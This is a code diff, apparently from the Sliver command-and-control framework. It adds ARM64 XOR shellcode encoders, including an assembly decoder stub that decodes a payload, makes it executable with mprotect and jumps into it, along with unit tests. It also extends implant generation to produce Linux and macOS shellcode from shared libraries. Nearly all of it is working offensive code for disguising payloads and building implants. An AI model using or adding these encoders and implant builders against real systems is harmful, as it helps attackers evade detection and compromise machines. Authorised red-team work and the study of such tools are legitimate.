"mov x3, x20", // restore src pointer (payload start)
|
||||
"mov x4, x19", // restore key pointer
|
||||
|
||||
"decode_loop:",
|
||||
"cmp x3, x9", // reached terminator?
|
||||
"b.eq decode_done",
|
||||
|
||||
"ldrb w5, [x4], #1", // load key byte
|
||||
fmt.Sprintf("cmp w5, #0x%02X", keyTerm),
|
||||
"b.ne have_key",
|
||||
"mov x4, x19", // reset key pointer
|
||||
"ldrb w5, [x4], #1", // load first key byte
|
||||
"have_key:",
|
||||
"ldrb w6, [x3], #1", // load payload byte + advance
|
||||
"eor w6, w6, w5",
|
||||
"strb w6, [x24], #1", // store + advance dest
|
||||
"b decode_loop",
|
||||
|
||||
"decode_done:",
|
||||
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
|
||||
"mov x0, x23",
|
||||
"mov x1, x22",
|
||||
"mov x2, #5", // PROT_READ|PROT_EXEC
|
||||
"mov x8, #226", // Linux: __NR_mprotect
|
||||
fmt.Sprintf("movz x16, #0x%X", uint16(0x0200004A&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x0200004A>>16)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x0200004A>>32)&0xffff)),
|
||||
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x0200004A>>48)&0xffff)),
|
||||
"svc #0",
|
||||
"br x23", // jump to decoded payload
|
||||
"payload:",
|
||||
}, "\n")
|
||||
|
||||
inst, err := engine.Assemble(src, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(inst) == 0 || len(inst)%4 != 0 {
|
||||
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
|
||||
}
|
||||
return inst, nil
|
||||
}
|
||||
|
||||
func containsBadchars(data []byte, badchars map[byte]bool) bool {
|
||||
for _, b := range data {
|
||||
if badchars[b] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
|
||||
allowed := allowedDynamicChars()
|
||||
|
||||
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
|
||||
// so no 2-byte terminator can be selected.
|
||||
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
|
||||
for _, first := range allowed {
|
||||
for _, second := range allowed {
|
||||
if first == second {
|
||||
continue
|
||||
}
|
||||
encoded = append(encoded, first, second)
|
||||
}
|
||||
}
|
||||
|
||||
term, err := selectPayloadTerm(encoded)
|
||||
if err != nil {
|
||||
t.Fatalf("selectPayloadTerm failed: %v", err)
|
||||
}
|
||||
if len(term) != 4 {
|
||||
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
|
||||
}
|
||||
if bytes.Contains(encoded, term) {
|
||||
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
|
||||
}
|
||||
|
||||
seen := map[byte]bool{}
|
||||
for _, b := range term {
|
||||
if seen[b] {
|
||||
t.Fatalf("terminator bytes are not distinct: %x", term)
|
||||
}
|
||||
seen[b] = true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestXorDynamicRoundTripAutoTerms(t *testing.T) {
|
||||
// Ensure splitExplicitTerms() returns false by making the would-be key terminator
|
||||
// (key[len-3]) present in candidateKey.
|
||||
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x11, 0x77, 0x88}
|
||||
payload := bytes.Repeat([]byte{0x00}, 64)
|
||||
|
||||
out, err := XorDynamic(payload, coreKey)
|
||||
if err != nil {
|
||||
t.Fatalf("XorDynamic failed: %v", err)
|
||||
}
|
||||
if len(out) <= len(coreKey)+1+len(payload)+2 {
|
||||
t.Fatalf("xor_dynamic output too short: %d", len(out))
|
||||
}
|
||||
|
||||
payloadTerm := out[len(out)-2:]
|
||||
encodedStart := len(out) - 2 - len(payload)
|
||||
if encodedStart <= 0 {
|
||||
t.Fatalf("bad encodedStart: %d", encodedStart)
|
||||
}
|
||||
keyTerm := out[encodedStart-1]
|
||||
encoded := out[encodedStart : len(out)-2]
|
||||
|
||||
if bytes.IndexByte(coreKey, keyTerm) != -1 {
|
||||
t.Fatalf("keyTerm present in key")
|
||||
}
|
||||
if bytes.Contains(encoded, payloadTerm) {
|
||||
t.Fatalf("payloadTerm present in encoded payload")
|
||||
}
|
||||
|
||||
stubLen := encodedStart - 1 - len(coreKey)
|
||||
if stubLen <= 0 {
|
||||
t.Fatalf("unexpected stub length: %d", stubLen)
|
||||
}
|
||||
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
|
||||
t.Fatalf("key region mismatch")
|
||||
}
|
||||
|
||||
decoded := make([]byte, len(encoded))
|
||||
for i := range encoded {
|
||||
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
|
||||
}
|
||||
if !bytes.Equal(decoded, payload) {
|
||||
t.Fatalf("decoded payload mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorDynamicRoundTripExplicitTerms(t *testing.T) {
|
||||
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
|
||||
payload := bytes.Repeat([]byte{0x00}, 32)
|
||||
|
||||
keyTerm := byte(0xFD)
|
||||
payloadTerm := []byte{0xFF, 0xFE}
|
||||
|
||||
keyWithTerms := make([]byte, 0, len(coreKey)+3)
|
||||
keyWithTerms = append(keyWithTerms, coreKey...)
|
||||
keyWithTerms = append(keyWithTerms, keyTerm)
|
||||
keyWithTerms = append(keyWithTerms, payloadTerm...)
|
||||
|
||||
out, err := XorDynamic(payload, keyWithTerms)
|
||||
if err != nil {
|
||||
t.Fatalf("XorDynamic failed: %v", err)
|
||||
}
|
||||
if len(out) <= len(coreKey)+1+len(payload)+2 {
|
||||
t.Fatalf("xor_dynamic output too short: %d", len(out))
|
||||
}
|
||||
|
||||
if !bytes.Equal(out[len(out)-2:], payloadTerm) {
|
||||
t.Fatalf("payloadTerm mismatch")
|
||||
}
|
||||
encodedStart := len(out) - 2 - len(payload)
|
||||
if encodedStart <= 0 {
|
||||
t.Fatalf("bad encodedStart: %d", encodedStart)
|
||||
}
|
||||
if out[encodedStart-1] != keyTerm {
|
||||
t.Fatalf("keyTerm mismatch")
|
||||
}
|
||||
|
||||
stubLen := encodedStart - 1 - len(coreKey)
|
||||
if stubLen <= 0 {
|
||||
t.Fatalf("unexpected stub length: %d", stubLen)
|
||||
}
|
||||
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
|
||||
t.Fatalf("key region mismatch")
|
||||
}
|
||||
|
||||
encoded := out[encodedStart : len(out)-2]
|
||||
decoded := make([]byte, len(encoded))
|
||||
for i := range encoded {
|
||||
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
|
||||
}
|
||||
if !bytes.Equal(decoded, payload) {
|
||||
t.Fatalf("decoded payload mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorDynamicRejectsEmptyPayload(t *testing.T) {
|
||||
_, err := XorDynamic(nil, []byte{0x11})
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorDynamicRejectsEmptyKey(t *testing.T) {
|
||||
_, err := XorDynamic([]byte{0x90}, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestXorRoundTrip(t *testing.T) {
|
||||
key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
|
||||
|
||||
tests := [][]byte{
|
||||
{0x90},
|
||||
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
|
||||
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
|
||||
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
|
||||
bytes.Repeat([]byte{0xAB}, 31),
|
||||
bytes.Repeat([]byte{0xAB}, 32),
|
||||
bytes.Repeat([]byte{0xAB}, 33),
|
||||
}
|
||||
|
||||
for _, payload := range tests {
|
||||
payload := payload
|
||||
t.Run(fmt.Sprintf("len=%d", len(payload)), func(t *testing.T) {
|
||||
encoded, err := Xor(payload, key)
|
||||
if err != nil {
|
||||
t.Fatalf("Xor failed: %v", err)
|
||||
}
|
||||
|
||||
paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
|
||||
if len(encoded) < paddedLen {
|
||||
t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
|
||||
}
|
||||
|
||||
stubLen := len(encoded) - paddedLen
|
||||
if stubLen <= 0 {
|
||||
t.Fatalf("unexpected stub length %d", stubLen)
|
||||
}
|
||||
|
||||
encodedPayload := encoded[stubLen:]
|
||||
decoded := make([]byte, len(encodedPayload))
|
||||
copy(decoded, encodedPayload)
|
||||
for i := 0; i < len(decoded); i += xorBlockSize {
|
||||
for j := 0; j < xorKeySize; j++ {
|
||||
decoded[i+j] ^= key[j]
|
||||
}
|
||||
}
|
||||
|
||||
if !bytes.Equal(decoded[:len(payload)], payload) {
|
||||
t.Fatalf("decoded payload mismatch")
|
||||
}
|
||||
if !bytes.Equal(decoded[len(payload):], make([]byte, len(decoded)-len(payload))) {
|
||||
t.Fatalf("decoded padding not zeroed")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorRejectsEmptyPayload(t *testing.T) {
|
||||
_, err := Xor(nil, []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88})
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorRejectsInvalidKeyLength(t *testing.T) {
|
||||
_, err := Xor([]byte{0x90}, []byte{0x01})
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
}
|
||||
|
||||
// func TestXorGiganticKnotFixture(t *testing.T) {
|
||||
// payload, err := os.ReadFile(filepath.Join("testdata", "GIGANTIC_KNOT.bin"))
|
||||
// if err != nil {
|
||||
// t.Fatalf("failed to read fixture: %v", err)
|
||||
// }
|
||||
// if len(payload) == 0 {
|
||||
// t.Fatal("fixture is empty")
|
||||
// }
|
||||
|
||||
// key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
|
||||
// encoded, err := Xor(payload, key)
|
||||
// if err != nil {
|
||||
// t.Fatalf("Xor failed: %v", err)
|
||||
// }
|
||||
|
||||
// paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
|
||||
// if len(encoded) < paddedLen {
|
||||
// t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
|
||||
// }
|
||||
|
||||
// stubLen := len(encoded) - paddedLen
|
||||
// if stubLen <= 0 || stubLen%4 != 0 {
|
||||
// t.Fatalf("unexpected stub length %d", stubLen)
|
||||
// }
|
||||
|
||||
// encodedPayload := encoded[stubLen:]
|
||||
// decoded := make([]byte, len(encodedPayload))
|
||||
// copy(decoded, encodedPayload)
|
||||
// for i := 0; i < len(decoded); i += xorBlockSize {
|
||||
// for j := 0; j < xorKeySize; j++ {
|
||||
// decoded[i+j] ^= key[j]
|
||||
// }
|
||||
// }
|
||||
|
||||
// if !bytes.Equal(decoded[:len(payload)], payload) {
|
||||
// t.Fatalf("decoded payload mismatch")
|
||||
// }
|
||||
// }
|
||||
@@ -2,6 +2,7 @@ package shellcode
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/arm64"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
@@ -65,6 +66,56 @@ func (e *XorDynamicEncoder) Description() string {
|
||||
return "An x64 XOR encoder with dynamic key size for AMD64"
|
||||
}
|
||||
|
||||
type XorEncoderArm64 struct{}
|
||||
|
||||
func (e *XorEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
iterations := args.Iterations
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
for i := 0; i < iterations; i++ {
|
||||
key, err := arm64.XorKeyGen()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encoded, err := arm64.Xor(data, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data = encoded
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (e *XorEncoderArm64) Description() string {
|
||||
return "Basic XOR encoder for ARM64"
|
||||
}
|
||||
|
||||
type XorDynamicEncoderArm64 struct{}
|
||||
|
||||
func (e *XorDynamicEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
iterations := args.Iterations
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
for i := 0; i < iterations; i++ {
|
||||
key, err := arm64.XorDynamicKeyGen()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encoded, err := arm64.XorDynamic(data, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data = encoded
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (e *XorDynamicEncoderArm64) Description() string {
|
||||
return "A dynamic XOR encoder for ARM64"
|
||||
}
|
||||
|
||||
type ShikataGaNaiEncoderAmd64 struct{}
|
||||
|
||||
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
|
||||
@@ -92,6 +143,10 @@ var (
|
||||
"xor_dynamic": &XorDynamicEncoder{},
|
||||
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
|
||||
},
|
||||
"arm64": {
|
||||
"xor": &XorEncoderArm64{},
|
||||
"xor_dynamic": &XorDynamicEncoderArm64{},
|
||||
},
|
||||
"386": {
|
||||
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
|
||||
},
|
||||
|
||||
+458
-30
@@ -21,8 +21,10 @@ package generate
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"debug/elf"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path"
|
||||
@@ -44,6 +46,8 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
utilEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/sliverarmory/beignet"
|
||||
"github.com/sliverarmory/malasada"
|
||||
"golang.org/x/mod/module"
|
||||
"golang.org/x/text/cases"
|
||||
"golang.org/x/text/language"
|
||||
@@ -115,6 +119,185 @@ const (
|
||||
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
||||
)
|
||||
|
||||
func isZigCC(cc string) bool {
|
||||
cc = strings.TrimSpace(cc)
|
||||
if cc == "" {
|
||||
return false
|
||||
}
|
||||
parts := strings.Fields(cc)
|
||||
if len(parts) == 0 {
|
||||
return false
|
||||
}
|
||||
// We typically set CC as: "<zigpath> cc -target <triple>"
|
||||
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && parts[1] == "cc" {
|
||||
return true
|
||||
}
|
||||
// Fallback: user-provided CC might not match our canonical format.
|
||||
return strings.Contains(cc, "zig cc")
|
||||
}
|
||||
|
||||
func isZigCompilerCmd(cmd string) bool {
|
||||
cmd = strings.TrimSpace(cmd)
|
||||
if cmd == "" {
|
||||
return false
|
||||
}
|
||||
parts := strings.Fields(cmd)
|
||||
if len(parts) == 0 {
|
||||
return false
|
||||
}
|
||||
// We typically set CC/CXX as: "<zigpath> cc|c++ -target <triple>"
|
||||
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && (parts[1] == "cc" || parts[1] == "c++") {
|
||||
return true
|
||||
}
|
||||
// Fallback: user-provided compilers might not match our canonical format.
|
||||
return strings.Contains(cmd, "zig cc") || strings.Contains(cmd, "zig c++")
|
||||
}
|
||||
|
||||
func ensureZigPrefixMap(cmd string) string {
|
||||
if !isZigCompilerCmd(cmd) {
|
||||
return cmd
|
||||
}
|
||||
zigDir := assets.GetZigDir()
|
||||
if zigDir == "" {
|
||||
return cmd
|
||||
}
|
||||
mapPrefix := fmt.Sprintf("-fdebug-prefix-map=%s=", zigDir)
|
||||
if strings.Contains(cmd, mapPrefix) {
|
||||
return cmd
|
||||
}
|
||||
return strings.TrimSpace(cmd + fmt.Sprintf(" -fdebug-prefix-map=%s=/zig", zigDir))
|
||||
}
|
||||
|
||||
func appendToLDFlags(ldflags []string, extra string) []string {
|
||||
extra = strings.TrimSpace(extra)
|
||||
if extra == "" {
|
||||
return ldflags
|
||||
}
|
||||
if len(ldflags) == 0 {
|
||||
return []string{extra}
|
||||
}
|
||||
if len(ldflags) == 1 {
|
||||
if strings.TrimSpace(ldflags[0]) == "" {
|
||||
ldflags[0] = extra
|
||||
return ldflags
|
||||
}
|
||||
ldflags[0] = strings.TrimSpace(ldflags[0] + " " + extra)
|
||||
return ldflags
|
||||
}
|
||||
// go build only accepts a single argument for -ldflags, but callers may have
|
||||
// mistakenly provided multiple. Coalesce into one string.
|
||||
joined := strings.TrimSpace(strings.Join(ldflags, " "))
|
||||
if joined == "" {
|
||||
joined = extra
|
||||
} else {
|
||||
joined = joined + " " + extra
|
||||
}
|
||||
return []string{joined}
|
||||
}
|
||||
|
||||
func applyZigStaticLinking(goConfig *gogo.GoConfig, buildmode string, ldflags []string) (updated []string, enabled bool) {
|
||||
if goConfig == nil {
|
||||
return ldflags, false
|
||||
}
|
||||
if goConfig.GOOS != LINUX {
|
||||
return ldflags, false
|
||||
}
|
||||
if !isZigCC(goConfig.CC) {
|
||||
return ldflags, false
|
||||
}
|
||||
// zig/clang treats `-static` + `-shared` as "build a static archive", which
|
||||
// results in an ar archive misnamed as ".so". Never force `-static` for
|
||||
// c-shared builds.
|
||||
if buildmode == "c-shared" {
|
||||
return ldflags, false
|
||||
}
|
||||
// Force a fully static link for Linux executables when using zig. This keeps
|
||||
// cross-compiled artifacts self-contained.
|
||||
ldflags = appendToLDFlags(ldflags, "-linkmode=external -extldflags=-static")
|
||||
return ldflags, true
|
||||
}
|
||||
|
||||
func sanitizeZigForBuild(goConfig *gogo.GoConfig, buildmode string) {
|
||||
if goConfig == nil {
|
||||
return
|
||||
}
|
||||
// Always apply the prefix-map flags to any zig toolchain we invoke so we
|
||||
// don't leak the Sliver-managed zig root dir (often under ~/.sliver/zig) into
|
||||
// build artifacts.
|
||||
goConfig.CC = ensureZigPrefixMap(goConfig.CC)
|
||||
goConfig.CXX = ensureZigPrefixMap(goConfig.CXX)
|
||||
|
||||
if goConfig.GOOS != LINUX || buildmode != "c-shared" || !isZigCC(goConfig.CC) {
|
||||
return
|
||||
}
|
||||
|
||||
// Ensure we don't accidentally carry a user-provided `-static` into a shared
|
||||
// object link (zig would emit an ar archive).
|
||||
stripStatic := func(cmd string) string {
|
||||
parts := strings.Fields(cmd)
|
||||
if len(parts) == 0 {
|
||||
return cmd
|
||||
}
|
||||
out := make([]string, 0, len(parts))
|
||||
for _, p := range parts {
|
||||
if p == "-static" {
|
||||
continue
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return strings.Join(out, " ")
|
||||
}
|
||||
goConfig.CC = stripStatic(goConfig.CC)
|
||||
goConfig.CXX = stripStatic(goConfig.CXX)
|
||||
|
||||
// zig's default linux toolchain target in Sliver is musl, which is great for
|
||||
// static executables. For shared objects, musl shared libraries are rarely
|
||||
// present on the target. Prefer a glibc target for shared objects.
|
||||
goConfig.CC = strings.ReplaceAll(goConfig.CC, "-linux-musl", "-linux-gnu")
|
||||
goConfig.CXX = strings.ReplaceAll(goConfig.CXX, "-linux-musl", "-linux-gnu")
|
||||
}
|
||||
|
||||
func validateELFSharedObject(path string, requireFullyStatic bool) error {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
// Sniff common mis-builds first for clearer errors.
|
||||
var hdr [8]byte
|
||||
n, err := io.ReadFull(f, hdr[:])
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
return err
|
||||
}
|
||||
if 8 <= n && bytes.HasPrefix(hdr[:], []byte("!<arch>\n")) {
|
||||
return fmt.Errorf("output %q is an ar archive (expected an ELF shared object). This usually means the build used -buildmode=c-archive or zig was invoked with -static while linking a shared object", path)
|
||||
}
|
||||
if n < 4 || !bytes.Equal(hdr[:4], []byte{0x7f, 'E', 'L', 'F'}) {
|
||||
return fmt.Errorf("output %q does not look like an ELF file", path)
|
||||
}
|
||||
|
||||
ef, err := elf.NewFile(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ef.Type != elf.ET_DYN {
|
||||
return fmt.Errorf("output %q is not an ELF shared object (ET_DYN), got %v", path, ef.Type)
|
||||
}
|
||||
|
||||
if requireFullyStatic {
|
||||
needed, err := ef.DynString(elf.DT_NEEDED)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to read DT_NEEDED from %q: %w", path, err)
|
||||
}
|
||||
if len(needed) != 0 {
|
||||
return fmt.Errorf("output %q is not fully static (DT_NEEDED=%v); this usually means zig did not link statically", path, needed)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSliversDir - Get the binary directory
|
||||
func GetSliversDir() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
@@ -133,11 +316,203 @@ func GetSliversDir() string {
|
||||
// Sliver Generation Code
|
||||
// -----------------------
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode using Donut
|
||||
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet, Linux: malasada)
|
||||
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOOS != "windows" {
|
||||
return "", fmt.Errorf("shellcode format is currently only supported on Windows")
|
||||
switch config.GOOS {
|
||||
case WINDOWS:
|
||||
return windowsShellcode(name, build, config, pbC2Implant)
|
||||
case DARWIN:
|
||||
return darwinShellcode(name, build, config, pbC2Implant)
|
||||
case LINUX:
|
||||
return linuxShellcode(name, build, config, pbC2Implant)
|
||||
}
|
||||
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
|
||||
}
|
||||
|
||||
func linuxShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "amd64" && config.GOARCH != "arm64" {
|
||||
return "", fmt.Errorf("linux shellcode format not supported on %s architecture", config.GOARCH)
|
||||
}
|
||||
if len(config.Exports) == 0 {
|
||||
return "", fmt.Errorf("linux shellcode requires at least one export symbol")
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
}
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
CXX: cxx,
|
||||
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
sanitizeZigForBuild(goConfig, "c-shared")
|
||||
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||
|
||||
config.IsSharedLib = true
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-*.so")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFile.Name())
|
||||
soDest := tmpFile.Name()
|
||||
|
||||
tags := []string{}
|
||||
if config.NetGoEnabled {
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||
gcFlags := ""
|
||||
asmFlags := ""
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, soDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if goConfig.GOOS == LINUX {
|
||||
if err := validateELFSharedObject(soDest, wantStaticSO); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
compress := false
|
||||
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
|
||||
compress = true
|
||||
}
|
||||
shellcodeBin, err := malasada.ConvertSharedObject(soDest, config.Exports[0], compress)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
shellcodeDest += ".bin"
|
||||
|
||||
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return shellcodeDest, nil
|
||||
}
|
||||
|
||||
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
if config.GOARCH != "arm64" {
|
||||
return "", fmt.Errorf("darwin shellcode format not supported on %s architecture", config.GOARCH)
|
||||
}
|
||||
if len(config.Exports) == 0 {
|
||||
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
}
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
CXX: cxx,
|
||||
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
config.IsSharedLib = true
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp("", "sliver-*.dylib")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmpFile.Close()
|
||||
defer os.Remove(tmpFile.Name())
|
||||
dylibDest := tmpFile.Name()
|
||||
|
||||
tags := []string{}
|
||||
if config.NetGoEnabled {
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
// Keep those for potential later use
|
||||
gcFlags := ""
|
||||
asmFlags := ""
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, dylibDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
dylibData, err := os.ReadFile(dylibDest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
compress := false
|
||||
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
|
||||
compress = true
|
||||
}
|
||||
shellcodeBin, err := beignet.DylibToShellcode(dylibData, beignet.Options{
|
||||
EntrySymbol: config.Exports[0],
|
||||
Compress: compress,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
shellcodeDest += ".bin"
|
||||
|
||||
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return shellcodeDest, err
|
||||
|
||||
}
|
||||
|
||||
func windowsShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
